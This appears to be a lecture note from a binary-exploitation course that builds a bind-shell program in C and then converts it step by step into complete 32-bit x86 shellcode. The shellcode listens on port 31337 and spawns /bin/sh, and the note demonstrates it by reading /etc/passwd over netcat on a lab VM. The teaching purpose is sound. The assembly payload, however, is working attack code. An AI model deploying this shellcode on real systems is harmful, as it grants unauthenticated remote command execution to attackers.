Lec. 15: Socket Programming in Assembly
Table of Contents
1 remote shell using sockets
In the last class, we completed a remote shell program using the standard socket programs. Here is that program again:
#include <unistd.h> #include <string.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> int main(void){ int server, client; //server and client socket struct sockaddr_in host_addr, client_addr; //address structures socklen_t sin_size ; //store size int yes=1; //open new socket for server server = socket(AF_INET, SOCK_STREAM, 0); //set up server address memset(&(host_addr), '\0', sizeof(struct sockaddr_in)); host_addr.sin_family=AF_INET; host_addr.sin_port=htons(31337); host_addr.sin_addr.s_addr=INADDR_ANY; //bind server socket if(bind(server, (struct sockaddr *) &host_addr, sizeof(struct sockaddr)) < 0){ perror("bind"); return 1; } //set up listening queue listen(server,4); //size of incoming addresses sin_size = sizeof(struct sockaddr_in); //accept incoming connection client = accept(server, (struct sockaddr *) &client_addr, &sin_size); //duplicate file descriptors for socket dup2(client, 0); dup2(client, 1); dup2(client, 2); //execve shell char *args[2]={"/bin//sh", NULL}; execve(args[0], args, NULL); return 0; }
A socket must first be opened using socket()
, and then bound to a
local address using bind()
. Next, the number of incoming connections
must be indicated with listen(), after which, we can finally
=accept()
an incoming connection generating a new socket for that
connection.
What makes it a remote shell is that we duplicate the standard file
decriptors onto the socket. This means all input and output for the
program are mapped to the new connection. Executing the program
/bin/sh
at this point means that the shell /bin/sh
's standard file
descriptors are also mapped to the socket, thus forming a remote
shell.
That's the state of the world as of the last class when we use the socket programming API.
2 socketcall()
The problem is: It's all been a lie!
It turns out that all the different system calls for sockets are not
real. There is actually only ONE system call. the
socketcall()
. Here's the man page entry.
SYNOPSIS int socketcall(int call, unsigned long *args); DESCRIPTION socketcall() is a common kernel entry point for the socket system calls. call determines which socket function to invoke. args points to a block containing the actual arguments, which are passed through to the appropriate call. User programs should call the appropriate functions by their usual names. Only standard library implementors and kernel hackers need to know about socketcall().
We are kernel hackers, so let's go get'em. Parsing the arguments to
socketcall() there are two arguments, the call and the args. The call
is an integer identifier for the socket function required. These are
defined in the header file net.h
:
user@si485H-base:demo$ grep SYS_ /usr/include/linux/net.h #define SYS_SOCKET 1 /* sys_socket(2) */ #define SYS_BIND 2 /* sys_bind(2) */ #define SYS_CONNECT 3 /* sys_connect(2) */ #define SYS_LISTEN 4 /* sys_listen(2) */ #define SYS_ACCEPT 5 /* sys_accept(2) */ #define SYS_GETSOCKNAME 6 /* sys_getsockname(2) */ #define SYS_GETPEERNAME 7 /* sys_getpeername(2) */ #define SYS_SOCKETPAIR 8 /* sys_socketpair(2) */ #define SYS_SEND 9 /* sys_send(2) */ #define SYS_RECV 10 /* sys_recv(2) */ #define SYS_SENDTO 11 /* sys_sendto(2) */ #define SYS_RECVFROM 12 /* sys_recvfrom(2) */ #define SYS_SHUTDOWN 13 /* sys_shutdown(2) */ #define SYS_SETSOCKOPT 14 /* sys_setsockopt(2) */ #define SYS_GETSOCKOPT 15 /* sys_getsockopt(2) */ #define SYS_SENDMSG 16 /* sys_sendmsg(2) */ #define SYS_RECVMSG 17 /* sys_recvmsg(2) */ #define SYS_ACCEPT4 18 /* sys_accept4(2) */ #define SYS_RECVMMSG 19 /* sys_recvmmsg(2) */ #define SYS_SENDMMSG 20 /* sys_sendmmsg(2) */
The arguments is a array of the arguments that that socket function
takes. Putting this together, we can convert our call to socket()
to a
socketcall()
like so:
#include <unistd.h> #include <stdio.h> #include <string.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <linux/net.h> int main(void){ int server, client; //server and client socket //socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3 unsigned int socket_args[] = {AF_INET,SOCK_STREAM,0}; server = socketcall(SYS_SOCKET, (long *) socket_args); //... }
But there's a problem. If we try to compile this code:
user@si485H-base:demo$ make gcc -fno-stack-protector -z execstack -Wno-format-security -g socketcall-example.c -o socketcall-example /tmp/ccPCoZSR.o: In function `main': /home/user/git/si485-binary-exploits/lec/15/demo/socketcall-example.c:15: undefined reference to `socketcall' collect2: error: ld returned 1 exit status make: *** [socketcall-example] Error 1
The socketcall()
system call is not actually defined as an entry
point in libc. We have to write our own entry point using syscall
:
#include <sys/syscall.h> int socketcall(int call, long * args){ int res; res = syscall(SYS_socketcall, call, args); }
Add that to the code, we can now compile, and convert the rest of our
remote shell to socketcalls()
#include <unistd.h> #include <stdio.h> #include <string.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <linux/net.h> #include <sys/syscall.h> int socketcall(int call, long * args){ int res; res = syscall(SYS_socketcall, call, args); } int main(void){ int server, client; //server and client socket struct sockaddr_in host_addr, client_addr; //address structures socklen_t sin_size ; //store size //socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3 int socket_args[] = {AF_INET,SOCK_STREAM,0}; server = socketcall(SYS_SOCKET, (long *) socket_args); //set up server address memset(&host_addr, '\0', sizeof(struct sockaddr_in)); host_addr.sin_family=AF_INET; host_addr.sin_port=htons(31337); host_addr.sin_addr.s_addr=INADDR_ANY; //bind int bind_args[] = {server, (int) &host_addr, sizeof(struct sockaddr)}; socketcall(SYS_BIND, (long *) bind_args); //set up listening queue int listen_args[] = {server, 4}; socketcall(SYS_LISTEN, (long *) listen_args); sin_size = sizeof(struct sockaddr_in); //accept incoming connection int accept_args[] = {server, (int) &client_addr, (int) &sin_size}; client = socketcall(SYS_ACCEPT, (long *) accept_args); client = accept(server, (struct sockaddr *) &client_addr, &sin_size); //duplicate file descriptors for socket dup2(client, 0); dup2(client, 1); dup2(client, 2); //execve shell char *args[2]={"/bin//sh", NULL}; execve(args[0], args, NULL); return 0; }
And if we run it through strace which will show us all the arguments to the system's call, we find that, yes, everything is as it should be:
user@si485H-base:demo$ strace ./socketcall-rsh execve("./socketcall-rsh", ["./socketcall-rsh"], [/* 20 vars */]) = 0 brk(0) = 0x804b000 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory) (...) socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3 bind(3, {sa_family=AF_INET, sin_port=htons(31337), sin_addr=inet_addr("0.0.0.0")}, 16) = 0 listen(3, 4) = 0 accept(3, ...
3 Converting Remote Shell to Assembly
Now that everything is converted to socketcall()
's, we are still not
done because we have consider how we might want to construct each of
the system calls in assembly. This is actually pretty straight
forward. Let's step through each of the parts:
3.1 socket()
in assembly
The first task is to call socket()
using socketcall()
in
assembly. Here's the code in C.
//socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3 int socket_args[] = {AF_INET,SOCK_STREAM,0}; server = socketcall(SYS_SOCKET, (long *) socket_args);
The values of socket_args[]
is (2,1,0), which we can see in this
simple program.
#include <unistd.h> #include <stdio.h> #include <string.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <linux/net.h> int main(){ printf("PF_INET:%d\n", PF_INET); printf("SOCK_STREAM:%d\n", SOCK_STREAM); printf("IPPROTO_IP:%d\n",IPPROTO_IP); }
user@si485H-base:demo$ ./socket_args PF_INET:2 SOCK_STREAM:1 IPPROTO_IP:0
We also know that SYSSOCKET is value 1, so we can follow the assembly code:
;; opening the socket xor eax,eax push eax push 0x1 push 0x2 mov ecx,esp ;socket_args xor ebx,ebx inc ebx ;SYS_SOCKET mov al,0x66 ;SYS_SOCKETCALL int 0x80
And with strace, we can see that we got what we wanted:
user@si485H-base:demo$ strace ./open_socket execve("./open_socket", ["./open_socket"], [/* 20 vars */]) = 0 socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3 --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x3} --- +++ killed by SIGSEGV (core dumped) +++ Segmentation fault (core dumped)
3.2 bind()
in assembly
In c, we have:
//set up server address memset(&host_addr, '\0', sizeof(struct sockaddr_in)); host_addr.sin_family=AF_INET; host_addr.sin_port=htons(31337); host_addr.sin_addr.s_addr=INADDR_ANY; //bind int bind_args[] = {server, (int) &host_addr, sizeof(struct sockaddr)}; socketcall(SYS_BIND, (long *) bind_args);
We know the value of SYSBIND, that's 2, but we need to think more
about the host_addr
portion of the address space. Fortunately, we
can recall the structure from last lesson:
struct sockaddr_in { short sin_family; // e.g. AF_INET, AF_INET6 unsigned short sin_port; // e.g. htons(3490) struct in_addr sin_addr; // see struct in_addr, below char sin_zero[8]; // zero this if you want to };
We see that we have two shorts, followed by the address. But, the
address we care about is INNETADDR_ANY
which is 0. The rest is just
padding.
So another way to think about this is that the struct sockaddr_in
is
the same as an array of four shorts:
short host_addr[] = {0x0002,0x697a,0x00000,0x0000};
Note that 0x697a is 31337 in big-endian(!) and we always need to be careful about that with networking.
We can write code to produce the host_addr
like so:
xor eax,eax push eax ;0,0 push WORD 0x697a ;htonos(31337) push WORD 0x02 ;2 mov ecx,esp
This assembly is also introducing a new form of push that will only push a word onto the stack. This misaligns the stack, but it is a useful tool.
Now we can setup the rest of the code like so:
xor eax,eax push eax ;0,0 push WORD 0x697a ;htonos(31337) push WORD 0x02 ;2 mov ecx,esp push 0x16 ;sizeof(host_addr) push ecx ;host_addr push esi ;assume esi stores socketfd xor ebx,ebx mov bl,0x2 ;SYS_BIND mov ecx,esp ;socket_args mov al,0x66 ;SYS_SOCKETCALL int 0x80
And if we run it under strace, we see that it does call bind:
user@si485H-base:demo$ strace ./bind_socket execve("./bind_socket", ["./bind_socket"], [/* 20 vars */]) = 0 bind(0, {sa_family=AF_INET, sin_port=htons(31337), sin_addr=inet_addr("0.0.0.0")}, 22) = -1 ENOTSOCK (Socket operation on non-socket) --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0xffffffa8} --- +++ killed by SIGSEGV (core dumped) +++ Segmentation fault (core dumped)
3.3 listen()
in assembly
The next socketcall() is perhaps the easiest: listen()
.
//set up listening queue int listen_args[] = {server, 4}; socketcall(SYS_LISTEN, (long *) listen_args);
There is only one argument to deal with, and we can quickly do the conversion like so.
tart: xor ecx,ecx mov cl,0x5 push ecx ;5 push esi ;socketfd mov ecx, esp ;socket_args = {5,socketfd} xor ebx,ebx mov bl, 0x4 ;SYS_LISTEN xor eax,eax mov al,0x66 ;SYS_SOCKETCALL int 0x80
user@si485H-base:demo$ strace ./listen_socket execve("./listen_socket", ["./listen_socket"], [/* 20 vars */]) = 0 listen(0, 5) = -1 ENOTSOCK (Socket operation on non-socket) --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0xffffffa8} --- +++ killed by SIGSEGV (core dumped) +++ Segmentation fault (core dumped)
3.4 accept()
in assembly
Turns out, that accept is also pretty easy. In C, we have this:
sin_size = sizeof(struct sockaddr_in); //accept incoming connection int accept_args[] = {server, (int) &client_addr, (int) &sin_size}; client = socketcall(SYS_ACCEPT, (long *) accept_args);
But, we don't really care about the client's address, so we can set
that to NULL (or 0), which means that the next argument, the size, is
also 0. That means our socket argument is: { socketfd, 0, 0}
. In
assembly, we get the following:
section .text global _start _start: xor ecx,ecx push ecx ; 0 push ecx ; 0 push esi ; socketfd mov ecx,esp ;socket_args = {socketfd,0,0} xor ebx,ebx mov bl, 0x5 ;SYS_LISTEN xor eax,eax mov al,0x66 ;SYS_SOCKETCALL int 0x80
execve("./accept_socket", ["./accept_socket"], [/* 20 vars */]) = 0 accept(0, 0, NULL) = -1 ENOTSOCK (Socket operation on non-socket) --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0xffffffa8} --- +++ killed by SIGSEGV (core dumped) +++ Segmentation fault (core dumped)
3.5 dup2()
in assembly
Finally, to move away fro the domain of networking, we have to the
dup2() system calls. This is much like the standard system calls we've
been doing so far. The system call number for dup2() is 0x3f. That
leaves us with the following code assembly for dup2() if we assume
esi
stores our sockfd:
mov ebx,esi ;sockfd xor ecx,ecx ;stdin 0 xor eax,eax mov al, 0x3f int 0x80 inc ecx ;stdout 1 xor eax,eax mov al, 0x3f int 0x80 inc ecx ;stderr 2 xor eax,eax mov al, 0x3f int 0x80
4 Putting it all together
Now that we have all the parts, we can look at the entire assembly that actually goes ahead and executes a remote shell:
section .text global _start _start: ;; socket() xor eax,eax push eax push 0x1 push 0x2 mov ecx,esp ;socket_args xor ebx,ebx inc ebx ;SYS_SOCKET mov al,0x66 ;SYS_SOCKETCALL int 0x80 mov esi,eax ;save sockfd in esi ;;bind() xor eax,eax push eax ;0,0 push WORD 0x697a ;htonos(31337) push WORD 0x02 ;2 mov ecx,esp push 0x16 ;sizeof(host_addr) push ecx ;host_addr push esi ;assume esi stores socketfd xor ebx,ebx mov bl,0x2 ;SYS_BIND mov ecx,esp ;socket_args mov al,0x66 ;SYS_SOCKETCALL int 0x80 ;; listen() xor ecx,ecx mov cl,0x5 push ecx ;5 push esi ;socketfd mov ecx, esp ;socket_args = {5,socketfd} xor ebx,ebx mov bl, 0x4 ;SYS_LISTEN xor eax,eax mov al,0x66 ;SYS_SOCKETCALL int 0x80 ;; accept() xor ecx,ecx push ecx ; 0 push ecx ; 0 push esi ; socketfd mov ecx,esp ;socket_args = {socketfd,0,0} xor ebx,ebx mov bl, 0x5 ;SYS_LISTEN xor eax,eax mov al,0x66 ;SYS_SOCKETCALL int 0x80 mov esi,eax ;new accepted socket stored in esi ;; dup2() mov ebx,esi ;sockfd xor ecx,ecx ;stdin 0 xor eax,eax mov al, 0x3f int 0x80 inc ecx ;stdout 1 xor eax,eax mov al, 0x3f int 0x80 inc ecx ;stderr 2 xor eax,eax mov al, 0x3f int 0x80 ;; execve() xor ecx,ecx mul ecx push ecx ; null terminator push 0x68732f2f ; /bin/sh push 0x6e69622f mov ebx,esp mov al, 0xb int 0x80
user@si485H-base:demo$ strace ./assembly_rsh execve("./assembly_rsh", ["./assembly_rsh"], [/* 20 vars */]) = 0 socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3 bind(3, {sa_family=AF_INET, sin_port=htons(31337), sin_addr=inet_addr("0.0.0.0")}, 22) = 0 listen(3, 5) = 0 accept(3, ...
Then I can connect remotely:
[aviv@potbelly] 15 >netcat 192.168.56.101 31337
Which will cause the accept() to complete:
(...) accept(3, 0, NULL) = 4 dup2(4, 0) = 0 dup2(4, 1) = 1 dup2(4, 2) = 2 execve("/bin//sh", [0], [/* 0 vars */]) = 0
And on the remote server, I can now do as I please:
[aviv@potbelly] 15 >netcat 192.168.56.101 31337 cat /etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin libuuid:x:100:101::/var/lib/libuuid: syslog:x:101:104::/home/syslog:/bin/false messagebus:x:102:106::/var/run/dbus:/bin/false usbmux:x:103:46:usbmux daemon,,,:/home/usbmux:/bin/false dnsmasq:x:104:65534:dnsmasq,,,:/var/lib/misc:/bin/false avahi-autoipd:x:105:113:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false kernoops:x:106:65534:Kernel Oops Tracking Daemon,,,:/:/bin/false rtkit:x:107:114:RealtimeKit,,,:/proc:/bin/false saned:x:108:115::/home/saned:/bin/false whoopsie:x:109:116::/nonexistent:/bin/false speech-dispatcher:x:110:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/sh avahi:x:111:117:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false lightdm:x:112:118:Light Display Manager:/var/lib/lightdm:/bin/false colord:x:113:121:colord colour management daemon,,,:/var/lib/colord:/bin/false hplip:x:114:7:HPLIP system user,,,:/var/run/hplip:/bin/false pulse:x:115:122:PulseAudio daemon,,,:/var/run/pulse:/bin/false user:x:1000:1000:user,,,:/home/user:/bin/bash vboxadd:x:999:1::/var/run/vboxadd:/bin/false sshd:x:116:65534::/var/run/sshd:/usr/sbin/nologin aviv:x:1001:1001:Adam Aviv,,,:/home/aviv:/bin/bash
4.1 This is some large shell code
This shell code is significantly bigger than anything we've seen so far. That's because it takes a lot of effort of effort to open a remote shell. Right now, we are at 126 bytes.
user@si485H-base:demo$ printf `./hexify.sh assembly_rsh` | wc -c 126
That's just too big. Let's see where we can reduce in size … or maybe that is something you should do in a lab :)